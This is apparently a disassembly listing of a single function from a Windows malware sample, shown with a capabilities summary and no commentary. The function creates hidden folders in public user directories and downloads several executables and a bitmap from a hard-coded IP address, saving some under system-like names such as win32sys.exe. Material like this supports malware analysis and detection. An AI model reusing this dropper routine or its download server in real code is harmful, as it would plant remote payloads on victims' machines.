Function at 0x1400023a0
Capabilities:
Create directory
Download url
Receive data
Set file attributes

Disassembly:
push rbx
sub rsp, 0x30
xor edx, edx
lea rcx, str.C:UsersPublicwinRes
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edx, 2
lea rcx, str.C:UsersPublicwinRes
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor edx, edx
lea rcx, str.C:UsersPublicVideoswinRes
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edx, 2
lea rcx, str.C:UsersPublicVideoswinRes
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call fcn.140002b90
xor ebx, ebx
lea r8, str.C:UsersPublicVideoswinRes_aaa.exe
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, str.http:__185.246.90.200_files_aaa.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:UsersPublicwinRes_failsafe.exe
xor ecx, ecx
lea rdx, str.http:__185.246.90.200_files_failsafe.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:UsersPublicVideoswinRes_failsafe.exe
xor ecx, ecx
lea rdx, str.http:__185.246.90.200_files_failsafe.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:UsersPublicwinResckv1.21.exe
xor ecx, ecx
lea rdx, str.http:__185.246.90.200_files_ckv1.21.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:UsersPublicVideoswinResck.exe
xor ecx, ecx
lea rdx, str.http:__185.246.90.200_files_ckv1.21.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:UsersPublicwinResqr.bmp
xor ecx, ecx
lea rdx, str.http:__185.246.90.200_files_qr.bmp
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:UsersPublicVideoswinResqr.bmp
xor ecx, ecx
lea rdx, str.http:__185.246.90.200_files_qr.bmp
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:UsersPublicVideoswinReswin32sys.exe
xor ecx, ecx
lea rdx, str.http:__185.246.90.200_files_test.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:UsersPublicwinReswin32sys.exe
xor ecx, ecx
lea rdx, str.http:__185.246.90.200_files_test.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rdx, [0x140043b40]
lea rcx, [0x140043b18]
call fcn.14001889c
test rax, rax
je 0x1400025b1
mov rcx, rax
call fcn.140018fac
call fcn.140003150
lea rdx, str.__n
lea rcx, [0x14004d6e0]
call fcn.140007cb0
lea rdx, str.______________________________n
lea rcx, [0x14004d6e0]
call fcn.140007cb0
lea rdx, str.____________________________n
lea rcx, [0x14004d6e0]
call fcn.140007cb0
lea rdx, str._____________________n
lea rcx, [0x14004d6e0]
call fcn.140007cb0
lea rdx, [0x140043c08]
lea rcx, [0x14004d6e0]
call fcn.140007cb0
lea rdx, str._______________________n
lea rcx, [0x14004d6e0]
call fcn.140007cb0
lea rdx, str.__n
lea rcx, [0x14004d6e0]
call fcn.140007cb0
call fcn.140002660
int3
call fcn.140003100
call fcn.140003010
call fcn.140002fe0
call fcn.1400030b0
call fcn.140003060
call fcn.140003150
lea rdx, str.__n
lea rcx, [0x14004d6e0]
call fcn.140007cb0
lea rdx, str.______________________________n
lea rcx, [0x14004d6e0]
call fcn.140007cb0
lea rdx, str.____________________________n
lea rcx, [0x14004d6e0]
call fcn.140007cb0
lea rdx, str._____________________n
lea rcx, [0x14004d6e0]
call fcn.140007cb0
lea rdx, [0x140043c08]
lea rcx, [0x14004d6e0]
call fcn.140007cb0
lea rdx, str._______________________n
lea rcx, [0x14004d6e0]
call fcn.140007cb0
lea rdx, str.__n
lea rcx, [0x14004d6e0]
call fcn.140007cb0
call fcn.140002660
int3